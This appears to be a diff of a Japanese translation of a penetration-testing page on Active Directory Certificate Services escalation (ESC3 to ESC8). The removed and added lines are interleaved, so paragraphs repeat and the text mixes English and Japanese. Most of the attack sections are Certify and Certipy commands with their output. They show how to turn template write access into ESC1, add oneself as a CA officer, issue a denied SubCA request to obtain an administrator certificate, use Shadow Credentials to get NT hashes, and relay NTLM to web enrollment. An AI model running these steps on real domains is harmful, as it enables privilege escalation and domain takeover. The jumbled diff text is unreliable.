このシナリオを悪用するには [**Certify**](https://github.com/GhostPack/Certify) または [**Certipy**](https://github.com/ly4k/Certipy) を使用できます:
|
||||
```bash
|
||||
# Request an enrollment agent certificate
|
||||
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
|
||||
@ -131,45 +131,42 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
|
||||
```
|
||||
The **users** who are allowed to **obtain** an **enrollment agent certificate**, the templates in which enrollment **agents** are permitted to enroll, and the **accounts** on behalf of which the enrollment agent may act can be constrained by enterprise CAs. This is achieved by opening the `certsrc.msc` **snap-in**, **right-clicking on the CA**, **clicking Properties**, and then **navigating** to the “Enrollment Agents” tab.
|
||||
|
||||
しかしながら、CA の**デフォルト**設定は “**Do not restrict enrollment agents**.” である点に注意してください。管理者が enrollment agents の制限を有効にし “Restrict enrollment agents” に設定しても、デフォルトの構成は依然として極めて許容的です。これは **Everyone** が任意のテンプレートに対して、任意のユーザーとして登録できるアクセスを許可します。
|
||||
However, it is noted that the **default** setting for CAs is to “**Do not restrict enrollment agents**.” When the restriction on enrollment agents is enabled by administrators, setting it to “Restrict enrollment agents,” the default configuration remains extremely permissive. It allows **Everyone** access to enroll in all templates as anyone.
|
||||
|
||||
## 脆弱な証明書テンプレートのアクセス制御 - ESC4
|
||||
|
||||
### **説明**
|
||||
|
||||
証明書テンプレート上の **security descriptor** は、そのテンプレートに関して特定の **AD principals** が持つ **permissions** を定義します。
|
||||
The **security descriptor** on **certificate templates** defines the **permissions** specific **AD principals** possess concerning the template.
|
||||
|
||||
もし **attacker** がテンプレートを **alter** するための必要な **permissions** を持ち、前節で説明した任意の **exploitable misconfigurations** を導入できる場合、権限昇格が可能になります。
|
||||
Should an **attacker** possess the requisite **permissions** to **alter** a **template** and **institute** any **exploitable misconfigurations** outlined in **prior sections**, privilege escalation could be facilitated.
|
||||
|
||||
証明書テンプレートに適用される主な権限には以下が含まれます:
|
||||
Notable permissions applicable to certificate templates include:
|
||||
|
||||
- **Owner:** オブジェクトに対する暗黙の制御権を付与し、任意の属性を変更することを可能にします。
|
||||
- **Owner:** オブジェクトに対する暗黙の制御を付与し、任意の属性を変更することを可能にします。
|
||||
- **FullControl:** オブジェクトに対する完全な権限を与え、任意の属性を変更する能力を含みます。
|
||||
- **WriteOwner:** オブジェクトの所有者を攻撃者の管理下にある主体に変更することを許可します。
|
||||
- **WriteDacl:** アクセス制御を調整できるようにし、攻撃者に FullControl を付与する可能性があります。
|
||||
- **WriteOwner:** オブジェクトの所有者を攻撃者の管理下にあるプリンシパルに変更することを許可します。
|
||||
- **WriteDacl:** アクセス制御を調整でき、攻撃者に FullControl を付与する可能性があります。
|
||||
- **WriteProperty:** 任意のオブジェクトプロパティの編集を許可します。
|
||||
|
||||
### Abuse
|
||||
### 悪用
|
||||
|
||||
テンプレートや他の PKI オブジェクトに対して編集権を持つプリンシパルを特定するには、Certify で列挙します:
|
||||
To identify principals with edit rights on templates and other PKI objects, enumerate with Certify:
|
||||
```bash
|
||||
Certify.exe find /showAllPermissions
|
||||
Certify.exe pkiobjects /domain:corp.local /showAdmins
|
||||
```
|
||||
An example of a privesc like the previous one:
|
||||
|
||||
<figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
前のものと同様の privesc の例:
|
||||
ESC4 は、ユーザーが証明書テンプレートに対して書き込み権限を持っている場合です。例えば、証明書テンプレートの設定を上書きしてテンプレートを ESC1 に対して脆弱にするよう悪用できます。
|
||||
|
||||
ESC4 は、ユーザーが証明書テンプレートに対して書き込み権限を持っている場合を指します。例えば、この権限を悪用して証明書テンプレートの設定を書き換え、テンプレートを ESC1 に対して脆弱にすることができます。
|
||||
|
||||
上のパスでわかるように、これらの権限を持っているのは `JOHNPC` のみですが、我々のユーザー `JOHN` は `JOHNPC` への新しい `AddKeyCredentialLink` エッジを持っています。これは証明書に関連するテクニックなので、私はこの攻撃も実装しました。これは [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) として知られています。
|
||||
|
||||
以下は、被害者の NT hash を取得するための Certipy の `shadow auto` コマンドの簡単なプレビューです。
|
||||
上のパスから分かるように、これらの権限を持っているのは `JOHNPC` のみですが、我々のユーザー `JOHN` は `JOHNPC` への新しい `AddKeyCredentialLink` エッジを持っています。この手法は証明書に関連しているため、私はこの攻撃も実装しました。これは [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) として知られています。以下は被害者の NT hash を取得する Certipy の `shadow auto` コマンドの簡単なプレビューです。
|
||||
```bash
|
||||
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
|
||||
```
|
||||
**Certipy** は単一のコマンドで証明書テンプレートの設定を上書きできます。**デフォルト**では、Certipy は設定を**上書き**して**ESC1に対して脆弱**にします。
|
||||
また、**`-save-old` パラメータを指定して古い設定を保存できます**。これは攻撃後に設定を**復元**する際に便利です。
|
||||
**Certipy**は単一のコマンドで証明書テンプレートの設定を上書きできます。**デフォルト**では、Certipyは設定を**上書き**して**ESC1に脆弱**にします。また、**`-save-old` パラメータで古い設定を保存する**ことも指定でき、これは攻撃後に設定を**復元**するのに役立ちます。
|
||||
```bash
|
||||
# Make template vuln to ESC1
|
||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
|
||||
@ -180,37 +177,37 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
|
||||
# Restore config
|
||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
|
||||
```
|
||||
## 脆弱な PKI オブジェクトのアクセス制御 - ESC5
|
||||
## Vulnerable PKI Object Access Control - ESC5
|
||||
|
||||
### 説明
|
||||
### Explanation
|
||||
|
||||
ACL ベースの関係が複雑に絡み合った広範なネットワークは、証明書テンプレートや Certification Authority を超える複数のオブジェクトを含み、AD CS システム全体のセキュリティに影響を及ぼす可能性があります。セキュリティに大きく影響するこれらのオブジェクトには次が含まれますが、これらに限定されません:
|
||||
ACL ベースの相互関係の広範なネットワークは、certificate templates や certificate authority を超える複数のオブジェクトを含み、AD CS システム全体のセキュリティに影響を及ぼす可能性があります。セキュリティに重大な影響を与え得るこれらのオブジェクトには、次が含まれます:
|
||||
|
||||
- CA サーバーの AD computer オブジェクト(S4U2Self や S4U2Proxy のようなメカニズムを介して侵害される可能性があります)。
|
||||
- S4U2Self や S4U2Proxy のようなメカニズムで侵害され得る、CA サーバーの AD コンピュータオブジェクト。
|
||||
- CA サーバーの RPC/DCOM サーバー。
|
||||
- 特定のコンテナパス `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` 配下の任意の子孫 AD オブジェクトまたはコンテナ。このパスには、Certificate Templates container、Certification Authorities container、NTAuthCertificates object、Enrollment Services Container などのコンテナおよびオブジェクトが含まれます。
|
||||
- 特定のコンテナパス `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` の配下にある任意の子孫 AD オブジェクトやコンテナ。このパスには、Certificate Templates container、Certification Authorities container、NTAuthCertificates オブジェクト、Enrollment Services Container など(これらに限定されない)が含まれます。
|
||||
|
||||
これらの重要なコンポーネントのいずれかを低権限の攻撃者が掌握すると、PKI システムのセキュリティが損なわれる可能性があります。
|
||||
これらの重要コンポーネントのいずれかを低権限の攻撃者が掌握すると、PKI システムのセキュリティは損なわれます。
|
||||
|
||||
## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
|
||||
|
||||
### 説明
|
||||
### Explanation
|
||||
|
||||
[**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) で扱われている内容は、Microsoft が定義する **`EDITF_ATTRIBUTESUBJECTALTNAME2`** フラグの影響にも触れています。この設定が Certification Authority (CA) で有効化されていると、Active Directory® から構築されたものを含む「任意のリクエスト」に対して、**ユーザー定義の値**を **subject alternative name** に含めることが許可されます。結果として、標準の User テンプレートのように権限のないユーザーの登録が許可されているテンプレートを含む、ドメイン認証用に設定された任意のテンプレートを通じて侵入者が登録できるようになります。その結果、証明書を取得して侵入者がドメイン管理者やドメイン内の他の任意のアクティブなエンティティとして認証することが可能になります。
|
||||
The subject discussed in the [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) also touches on the **`EDITF_ATTRIBUTESUBJECTALTNAME2`** flag's implications, as outlined by Microsoft. This configuration, when activated on a Certification Authority (CA), permits the inclusion of **user-defined values** in the **subject alternative name** for **any request**, including those constructed from Active Directory®. Consequently, this provision allows an **intruder** to enroll through **any template** set up for domain **authentication**—specifically those open to **unprivileged** user enrollment, like the standard User template. As a result, a certificate can be secured, enabling the intruder to authenticate as a domain administrator or **any other active entity** within the domain.
|
||||
|
||||
注意:`certreq.exe` の `-attrib "SAN:"` 引数(“Name Value Pairs” と呼ばれる)を通じて CSR に alternative names を追加する方法は、ESC1 における SAN の悪用方法とは対照的です。ここでの違いは、アカウント情報が extension ではなく証明書属性の中にカプセル化される点にあります。
|
||||
**Note**: The approach for appending **alternative names** into a Certificate Signing Request (CSR), through the `-attrib "SAN:"` argument in `certreq.exe` (referred to as “Name Value Pairs”), presents a **contrast** from the exploitation strategy of SANs in ESC1. Here, the distinction lies in **how account information is encapsulated**—within a certificate attribute, rather than an extension.
|
||||
|
||||
### 悪用
|
||||
### Abuse
|
||||
|
||||
設定が有効化されているかどうかを確認するために、組織は次のコマンドを `certutil.exe` で利用できます:
|
||||
To verify whether the setting is activated, organizations can utilize the following command with `certutil.exe`:
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
|
||||
```
|
||||
この操作は本質的に **remote registry access** を用いるため、代替の方法としては以下が考えられます:
|
||||
この操作は本質的に **remote registry access** を利用しているため、代替のアプローチは次のようになるかもしれません:
|
||||
```bash
|
||||
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
|
||||
```
|
||||
次のようなツール [**Certify**](https://github.com/GhostPack/Certify) と [**Certipy**](https://github.com/ly4k/Certipy) はこの誤設定を検出し悪用できます:
|
||||
[**Certify**](https://github.com/GhostPack/Certify) と [**Certipy**](https://github.com/ly4k/Certipy) のようなツールは、この誤設定を検出して悪用できます:
|
||||
```bash
|
||||
# Detect vulnerabilities, including this one
|
||||
Certify.exe find
|
||||
@ -223,35 +220,35 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
環境でこの構成を無効にするには、フラグを次のように削除します:
|
||||
この設定を環境で無効にするには、flag を次のように削除します:
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
> [!WARNING]
|
||||
> 2022年5月のセキュリティ更新以降、新しく発行される**証明書**には、要求者の`objectSid`プロパティを組み込んだ**セキュリティ拡張 (security extension)** が含まれるようになりました。ESC1では、このSIDは指定されたSANから派生します。しかし、**ESC6**ではSIDはSANではなく要求者の`objectSid`を反映します。\
|
||||
> ESC6を悪用するには、システムがESC10(Weak Certificate Mappings)に脆弱であり、**新しいセキュリティ拡張よりもSANを優先する**必要があります。
|
||||
> 2022年5月のセキュリティ更新以降、新たに発行される**証明書**には**セキュリティ拡張**が含まれ、その拡張は**要求者の `objectSid` プロパティ**を組み込みます。ESC1では、このSIDは指定された SAN から派生します。しかし、**ESC6**ではSIDはSANではなく**要求者の `objectSid`**を反映します。\
|
||||
> ESC6を悪用するには、システムがESC10 (Weak Certificate Mappings) に脆弱であり、**新しいセキュリティ拡張よりもSANを優先する**必要があります。
|
||||
|
||||
## 脆弱な証明書認証局のアクセス制御 - ESC7
|
||||
## 脆弱な証明機関のアクセス制御 - ESC7
|
||||
|
||||
### 攻撃 1
|
||||
|
||||
#### 説明
|
||||
|
||||
証明書認証局のアクセス制御は、CAの操作を管理する権限のセットによって維持されます。これらの権限は、`certsrv.msc` を開き、CAを右クリックしてプロパティを選択し、セキュリティタブに移動することで確認できます。さらに、PSPKIモジュールを使用して、次のようなコマンドで権限を列挙することもできます:
|
||||
証明機関のアクセス制御は、CAの操作を管理する一連の権限によって維持されます。これらの権限は、`certsrv.msc` を起動して CA を右クリックし、プロパティを選択してセキュリティタブに移動することで表示できます。さらに、PSPKI モジュールを使用して次のようなコマンドで権限を列挙することも可能です:
|
||||
```bash
|
||||
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
|
||||
```
|
||||
This provides insights into the primary rights, namely **`ManageCA`** and **`ManageCertificates`**, correlating to the roles of “CA 管理者” and “証明書マネージャー” respectively.
|
||||
これは主要な権限、すなわち **`ManageCA`** と **`ManageCertificates`** に関する洞察を提供し、それぞれ “CA 管理者” と “証明書マネージャー” の役割に対応します。
|
||||
|
||||
#### 悪用
|
||||
|
||||
証明機関に対する **`ManageCA`** 権限を持つと、主体は PSPKI を使用して設定をリモートで操作できます。これには、任意のテンプレートで SAN を指定できるように **`EDITF_ATTRIBUTESUBJECTALTNAME2`** フラグを切り替えることが含まれ、domain escalation の重要な要素となります。
|
||||
証明書発行機関 (CA) に対して **`ManageCA`** 権限を持つと、主体は PSPKI を使ってリモートで設定を操作できます。これには **`EDITF_ATTRIBUTESUBJECTALTNAME2`** フラグを切り替えて任意のテンプレートで SAN の指定を許可することが含まれ、これはドメイン権限昇格の重要な要素です。
|
||||
|
||||
このプロセスは PSPKI の **Enable-PolicyModuleFlag** cmdlet を使用することで簡素化でき、GUI に直接触れずに変更が行えます。
|
||||
このプロセスは PSPKI の **Enable-PolicyModuleFlag** cmdlet を使用することで簡略化でき、GUI を直接操作せずに変更が可能になります。
|
||||
|
||||
**`ManageCertificates`** 権限を持っていると、保留中のリクエストの承認が可能になり、事実上「CA certificate manager approval」保護を迂回できます。
|
||||
**`ManageCertificates`** 権限を持つと、保留中のリクエストを承認でき、事実上「CA 証明書マネージャーの承認」保護策を回避できます。
|
||||
|
||||
**Certify** と **PSPKI** モジュールの組み合わせを使って、証明書の要求、承認、ダウンロードを行うことができます:
|
||||
A combination of **Certify** and **PSPKI** modules can be utilized to request, approve, and download a certificate:
|
||||
```bash
|
||||
# Request a certificate that will require an approval
|
||||
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
|
||||
@ -269,31 +266,31 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
|
||||
```
|
||||
### Attack 2
|
||||
|
||||
#### Explanation
|
||||
#### 説明
|
||||
|
||||
> [!WARNING]
|
||||
> In the **previous attack** **`Manage CA`** permissions were used to **enable** the **EDITF_ATTRIBUTESUBJECTALTNAME2** flag to perform the **ESC6 attack**, but this will not have any effect until the CA service (`CertSvc`) is restarted. When a user has the `Manage CA` access right, the user is also allowed to **restart the service**. However, it **does not mean that the user can restart the service remotely**. Furthermore, E**SC6 might not work out of the box** in most patched environments due to the May 2022 security updates.
|
||||
> **前の攻撃**では **`Manage CA`** 権限を使用して **EDITF_ATTRIBUTESUBJECTALTNAME2** フラグを有効化し **ESC6 攻撃** を実行しましたが、CAサービス(`CertSvc`)を再起動するまでこれは効果を持ちません。ユーザーが `Manage CA` アクセス権を持っている場合、そのユーザーは **サービスを再起動する** ことも許可されます。しかし、**それがそのユーザーにサービスをリモートで再起動する権限を与えるわけではありません**。さらに、ほとんどのパッチ適用済み環境では、2022年5月のセキュリティ更新のために **ESC6はそのままでは動作しない場合があります**。
|
||||
|
||||
Therefore, another attack is presented here.
|
||||
そこで、別の攻撃をここで紹介します。
|
||||
|
||||
前提条件:
|
||||
|
||||
- **`ManageCA`** 権限のみ
|
||||
- **`Manage Certificates`** 権限(**`ManageCA`** から付与可能)
|
||||
- Only **`ManageCA` permission**
|
||||
- **`Manage Certificates`** permission(**`ManageCA`** から付与可能)
|
||||
- 証明書テンプレート **`SubCA`** は **有効化** されている必要がある(**`ManageCA`** から有効化可能)
|
||||
|
||||
この手法は、`Manage CA` と `Manage Certificates` の両方のアクセス権を持つユーザーが **失敗する証明書リクエストを発行できる** という事実に依存しています。証明書テンプレート **`SubCA`** は **ESC1 に対して脆弱** ですが、テンプレートに登録できるのは **管理者のみ** です。したがって、**ユーザー** は **`SubCA`** への登録を **要求** することができ(その要求は **拒否** される)、その後マネージャーによって **発行される**、という流れになります。
|
||||
この手法は、`Manage CA` および `Manage Certificates` アクセス権を持つユーザーが **失敗した証明書要求を発行できる** という事実に依存します。証明書テンプレート **`SubCA`** は **ESC1 に対して脆弱** ですが、テンプレートへ登録できるのは **管理者のみ** です。したがって、**ユーザー** は **`SubCA`** への登録を **要求** できます — これは **拒否** されます — が、その後マネージャーによって **発行される** ことになります。
|
||||
|
||||
#### Abuse
|
||||
#### 悪用
|
||||
|
||||
ユーザーを新しいオフィサーとして追加することで、自分自身に **`Manage Certificates`** 権限を付与できます。
|
||||
ユーザーを新しい担当者として追加することで、`Manage Certificates` のアクセス権を自分に付与できます。
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
[*] Successfully added officer 'John' on 'corp-DC-CA'
|
||||
```
|
||||
**`SubCA`** テンプレートは、`-enable-template` パラメータで **CA 上で有効化** できます。デフォルトでは、`SubCA` テンプレートは有効になっています。
|
||||
**`SubCA`** テンプレートは、`-enable-template` パラメータを使用して**CA 上で有効化**できます。デフォルトでは、`SubCA` テンプレートは有効になっています。
|
||||
```bash
|
||||
# List templates
|
||||
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
|
||||
@ -305,9 +302,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
|
||||
```
|
||||
この攻撃の前提条件を満たしていれば、まず **`SubCA` テンプレートに基づく証明書を要求することから始められます**.
|
||||
この攻撃の前提条件を満たしていれば、**`SubCA` テンプレートに基づく証明書のリクエストを開始できます**。
|
||||
|
||||
**このリクエストは拒否さ**れますが、プライベートキーを保存し、リクエストIDを控えておきます.
|
||||
**このリクエストは拒否されます**が、秘密鍵を保存し、リクエストIDを控えます。
|
||||
```bash
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -319,14 +316,14 @@ Would you like to save the private key? (y/N) y
|
||||
[*] Saved private key to 785.key
|
||||
[-] Failed to request certificate
|
||||
```
|
||||
私たちの **`Manage CA` と `Manage Certificates`** があれば、`ca` コマンドと `-issue-request <request ID>` パラメータでその **失敗した証明書リクエストを発行する** ことができます。
|
||||
**`Manage CA` and `Manage Certificates`** を持っていれば、`ca` コマンドと `-issue-request <request ID>` パラメータで、**失敗した証明書を発行**するリクエストを実行できます。
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
[*] Successfully issued certificate
|
||||
```
|
||||
最後に、`req` コマンドと `-retrieve <request ID>` パラメータで**発行された証明書を取得**できます。
|
||||
最後に、`req` コマンドと `-retrieve <request ID>` パラメータを使用して、**発行された証明書を取得**できます。
|
||||
```bash
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -338,68 +335,68 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
[*] Loaded private key from '785.key'
|
||||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
```
|
||||
### Attack 3 – Manage Certificates Extension Abuse (SetExtension)
|
||||
### 攻撃 3 – Manage Certificates Extension Abuse (SetExtension)
|
||||
|
||||
#### Explanation
|
||||
#### 説明
|
||||
|
||||
In addition to the classic ESC7 abuses (enabling EDITF attributes or approving pending requests), **Certify 2.0** revealed a brand-new primitive that only requires the *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) role on the Enterprise CA.
|
||||
古典的な ESC7 の悪用(EDITF 属性の有効化や保留中リクエストの承認)に加え、**Certify 2.0** は Enterprise CA 上で *Manage Certificates*(別名 **Certificate Manager / Officer**)ロールだけで実行できる新しいプリミティブを明らかにしました。
|
||||
|
||||
`ICertAdmin::SetExtension` RPC method can be executed by any principal holding *Manage Certificates*. While the method was traditionally used by legitimate CAs to update extensions on **pending** requests, an attacker can abuse it to **append a *non-default* certificate extension** (for example a custom *Certificate Issuance Policy* OID such as `1.1.1.1`) to a request that is waiting for approval.
|
||||
`ICertAdmin::SetExtension` RPC メソッドは *Manage Certificates* を持つ任意の主体によって実行できます。従来、このメソッドは正当な CA が **保留中** のリクエストの拡張を更新するために使用していましたが、攻撃者はこれを悪用して承認待ちのリクエストに対して **非デフォルトの証明書拡張**(例えば `1.1.1.1` のようなカスタムな *Certificate Issuance Policy* OID)を追記できます。
|
||||
|
||||
Because the targeted template does **not define a default value for that extension**, the CA will NOT overwrite the attacker-controlled value when the request is eventually issued. The resulting certificate therefore contains an attacker-chosen extension that may:
|
||||
対象のテンプレートがその拡張のデフォルト値を**定義していない**場合、リクエストが最終的に発行されても CA は攻撃者が指定した値を上書きしません。結果として得られる証明書には攻撃者が選択した拡張が含まれ、これにより:
|
||||
|
||||
* Satisfy Application / Issuance Policy requirements of other vulnerable templates (leading to privilege escalation).
|
||||
* Inject additional EKUs or policies that grant the certificate unexpected trust in third-party systems.
|
||||
* 他の脆弱なテンプレートの Application / Issuance Policy 要件を満たし(権限昇格につながる)得る。
|
||||
* 追加の EKU やポリシーを注入し、第三者システムに対して証明書に予期しない信頼を付与する可能性がある。
|
||||
|
||||
In short, *Manage Certificates* – previously considered the “less powerful” half of ESC7 – can now be leveraged for full privilege escalation or long-term persistence, without touching CA configuration or requiring the more restrictive *Manage CA* right.
|
||||
要するに、以前は ESC7 の「力の弱い」側と見なされていた *Manage Certificates* が、CA 設定に触れたり、より制限の厳しい *Manage CA* 権限を必要とすることなく、完全な権限昇格や長期的な持続性のために利用できるようになりました。
|
||||
|
||||
#### Abusing the primitive with Certify 2.0
|
||||
#### Certify 2.0 でこのプリミティブを悪用する手順
|
||||
|
||||
1. **Submit a certificate request that will remain *pending*.** This can be forced with a template that requires manager approval:
|
||||
1. **保留状態(*pending*)のままになる証明書リクエストを送信する。** マネージャー承認を必要とするテンプレートを使うことでこれを強制できます:
|
||||
```powershell
|
||||
Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
|
||||
# Take note of the returned Request ID
|
||||
```
|
||||
|
||||
2. **Append a custom extension to the pending request** using the new `manage-ca` command:
|
||||
2. 新しい `manage-ca` コマンドを使って保留中のリクエストにカスタム拡張を追記する:
|
||||
```powershell
|
||||
Certify.exe manage-ca --ca SERVER\\CA-NAME \
|
||||
--request-id 1337 \
|
||||
--set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID
|
||||
```
|
||||
*If the template does not already define the *Certificate Issuance Policies* extension, the value above will be preserved after issuance.*
|
||||
*テンプレートが既に *Certificate Issuance Policies* 拡張を定義していない場合、上記の値は発行後も保持されます。*
|
||||
|
||||
3. **Issue the request** (if your role also has *Manage Certificates* approval rights) or wait for an operator to approve it. Once issued, download the certificate:
|
||||
3. リクエストを発行する(あなたのロールが *Manage Certificates* 承認権限も持っている場合)か、オペレータが承認するまで待ちます。発行されたら証明書をダウンロードします:
|
||||
```powershell
|
||||
Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
|
||||
```
|
||||
|
||||
4. The resulting certificate now contains the malicious issuance-policy OID and can be used in subsequent attacks (e.g. ESC13, domain escalation, etc.).
|
||||
4. 生成された証明書は悪意ある issuance-policy OID を含んでおり、以降の攻撃(例:ESC13、ドメイン昇格など)で使用できます。
|
||||
|
||||
> NOTE: The same attack can be executed with Certipy ≥ 4.7 through the `ca` command and the `-set-extension` parameter.
|
||||
> NOTE: 同じ攻撃は Certipy ≥ 4.7 の `ca` コマンドと `-set-extension` パラメータを使って実行できます。
|
||||
|
||||
## NTLM Relay to AD CS HTTP Endpoints – ESC8
|
||||
## NTLM リレーから AD CS HTTP エンドポイントへの攻撃 – ESC8
|
||||
|
||||
### 説明
|
||||
|
||||
> [!TIP]
|
||||
> AD CS がインストールされている環境では、脆弱な web enrollment endpoint が存在し、かつ少なくとも 1 つの certificate template が domain computer enrollment と client authentication を許可して公開されている(デフォルトの `Machine` テンプレートなど)場合、spooler service が動作している任意のコンピュータが攻撃者によって乗っ取られる可能性があります!
|
||||
> **AD CS がインストールされている** 環境で、**脆弱な web enrollment endpoint** が存在し、かつ少なくとも 1 つの **certificate template が公開されており** そのテンプレートが **domain computer enrollment と client authentication** を許可している(例:デフォルトの **`Machine`** テンプレート)場合、**spooler サービスが有効な任意のコンピュータが攻撃者によって乗っ取られる可能性がある** ということになります!
|
||||
|
||||
AD CS がサポートするいくつかの **HTTP ベースの enrollment 方法** は、管理者が追加のサーバーロールとしてインストールすることで利用可能になります。これらの HTTP ベースの証明書 enrollment 用インターフェースは **NTLM relay 攻撃** に対して脆弱です。攻撃者は、**侵害されたマシンから**、着信 NTLM を使って認証する任意の AD アカウントを偽装できます。被害者アカウントを偽装した状態で、攻撃者はこれらの web インターフェースにアクセスし、`User` または `Machine` certificate template を使ってクライアント認証用の証明書を要求できます。
|
||||
AD CS は追加のサーバーロールとして管理者がインストールすることで利用可能になる、複数の **HTTP ベースの enrollment 方法** をサポートしています。これらの HTTP ベースの証明書登録用インターフェイスは **NTLM リレー攻撃** を受けやすいです。攻撃者は、**乗っ取ったマシンから、着信 NTLM によって認証する任意の AD アカウントをなりすます**ことができます。被害者アカウントになりすました状態で、攻撃者はこれらの Web インターフェイスにアクセスして、`User` や `Machine` 証明書テンプレートを用いてクライアント認証証明書を要求できます。
|
||||
|
||||
- **web enrollment interface**(古い ASP アプリケーションで `http://<caserver>/certsrv/` にある)はデフォルトで HTTP のみを使用し、NTLM relay 攻撃に対する保護を提供しません。さらに、このインターフェースは Authorization HTTP header を通じて明示的に NTLM のみを許可しているため、Kerberos のようなより安全な認証方式は使用できません。
|
||||
- **Certificate Enrollment Service**(CES)、**Certificate Enrollment Policy**(CEP)Web Service、**Network Device Enrollment Service**(NDES)は、Authorization HTTP header を通じてデフォルトで negotiate 認証をサポートします。negotiate 認証は Kerberos と **NTLM の両方をサポート**するため、攻撃者は relay 攻撃中に認証を **NTLM にダウングレード** できます。これらの web サービスはデフォルトで HTTPS を有効にしていますが、HTTPS 自体は **NTLM relay 攻撃からの保護にはならない** 点に注意してください。HTTPS サービスが NTLM relay 攻撃から保護されるのは、HTTPS が channel binding と組み合わされている場合に限られます。残念ながら、AD CS は IIS 上で Extended Protection for Authentication を有効にしておらず、channel binding に必要な設定がされていません。
|
||||
- **web enrollment interface**(古い ASP アプリケーションで `http://<caserver>/certsrv/` にある)はデフォルトで HTTP のみを使用しており、NTLM リレー攻撃に対する保護を提供しません。加えて、このインターフェイスは Authorization HTTP ヘッダを通じて明示的に NTLM のみを許可しており、Kerberos のようなより安全な認証方法は適用できません。
|
||||
- **Certificate Enrollment Service**(CES)、**Certificate Enrollment Policy**(CEP)Web Service、**Network Device Enrollment Service**(NDES)はデフォルトで Authorization HTTP ヘッダを介して negotiate 認証をサポートします。negotiate 認証は Kerberos と **NTLM の双方をサポートしており**、攻撃者はリレー攻撃中に認証を **NTLM にダウングレード** できます。これらの Web サービスはデフォルトで HTTPS を有効にしていますが、HTTPS 単体では **NTLM リレー攻撃から守れません**。HTTPS サービスに対する NTLM リレー攻撃の防護は、HTTPS と channel binding を組み合わせた場合にのみ可能です。残念ながら、AD CS は IIS 上で channel binding に必要な Extended Protection for Authentication を有効にしていません。
|
||||
|
||||
NTLM relay 攻撃でよくある問題は、NTLM セッションの有効期間が短いことと、NTLM signing を要求するサービスとやり取りできないことです。
|
||||
NTLM リレー攻撃に共通する **問題** の一つは、NTLM セッションの **短い有効期間** と、攻撃者が **NTLM signing を要求するサービス** と相互作用できないことです。
|
||||
|
||||
しかし、この制約は NTLM relay 攻撃を利用してユーザの証明書を取得することで回避できます。証明書の有効期間がセッションの持続時間を決定し、取得した証明書は NTLM signing を要求するサービスでも使用可能です。盗用した証明書の利用方法については次を参照してください:
|
||||
それでも、この制約は NTLM リレー攻撃を利用してユーザの証明書を取得することで克服できます。なぜなら証明書の有効期間がセッションの持続時間を決め、かつその証明書は **NTLM signing を必須とするサービス** に対しても使用できるからです。盗まれた証明書の利用方法については、次を参照してください:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
account-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
NTLM relay 攻撃のもう一つの制約は、**攻撃者が制御するマシンに被害者アカウントが認証する必要がある**点です。攻撃者は待つか、あるいはこの認証を **強制** しようと試みることができます:
|
||||
NTLM リレー攻撃のもう一つの制約は、**攻撃者制御下のマシンが被害者アカウントによって認証される必要がある**ことです。攻撃者は待つか、あるいはこの認証を強制しようと試みることができます:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
